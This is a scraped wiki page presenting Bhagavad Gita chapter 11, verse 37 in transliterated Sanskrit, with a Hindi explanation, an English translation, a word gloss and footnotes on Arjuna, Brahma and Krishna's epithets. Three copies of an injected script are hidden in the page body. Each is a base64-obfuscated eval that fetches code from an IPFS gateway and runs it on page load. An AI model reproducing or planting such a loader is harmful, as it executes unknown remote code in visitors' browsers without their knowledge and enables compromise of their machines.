gita adhyay-11 shlok-37 / Gita Chapter-11 Verse-37
|
prasang-
poorv shlok mean jo 'sthane' pad ka prayog karake siddh samudayoan ka namaskar adi karana uchit batalaya gaya tha, ab char shlokoan mean bhagavanh ke prabhav ka varnan karake usi bat ko siddh karate hue arjun[1] ke bar-bar namaskar karane ka bhav dikhalate haian-
kasmachch te n nameranmahatmanh
gariyase brahranoapyadikartre .
anant devesh jagannivas
tvamaksharan sadasatattparan yath ..37..
|
|
he mahatmanh ! brahma[2] ke bhi adi karta aur sabase b de apake liye ye kaise namaskar n kare; kyoanki he anant ! he devesh ! he jagannivas[3] ! jo sath, asath aur unase pare akshar arthath sachchidanandaghan brahm hai, vah ap hi haian ..37..
|
O great one, who stands above even Brahma, You are the original master. Why should they not offer their homage up to You, O limitless one? O refuge of the universe, You are the invincible source, the cause of all causes, transcendental to this material manifestation. (37)
|
|
mahatmanh = he mahatmanh ; api = bhi; ch = aur; gariyase; sabase b de; te = apake liye(ve); kasmath = kaise; n nameranh = namaskar nahian karean(kyoanki); anant = he anant; devesh = he devesh; yath = jo; tatparamh = unase pare; aksharamh = akshar arthath sachchidanandaghan brahra hai.
|
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
tika tippani aur sandarbh
- ↑ mahabharat ke mukhy patr hai. ve pandu evan kunti ke tisare putr the. sarvashreshth dhanurdhar ke roop mean ve prasiddh the. dronachary ke sabase priy shishy bhi vahi the. draupadi ko svayanvar mean bhi unhoanne hi jita tha.
- ↑ sarvashreshth pauranik tridevoan mean brahma, vishnu evan shiv ki ganana hoti hai. inamean brahma ka nam pahale ata hai, kyoanki ve vishv ke ady srashta, prajapati, pitamah tatha hiranyagarbh haian.
- ↑ madhusoodan, keshav, devesh, purushottam, vasudev, madhav, jagannivas, janardan aur varshney sabhi bhagavanh krishna ka hi sambodhan hai.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
| mahabharat |
|---|
| | mahabharat ke parv | | | | mahabharat ke charitr | | | | sthan | | | | mahabharat katha | | | | any | |
|
|
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>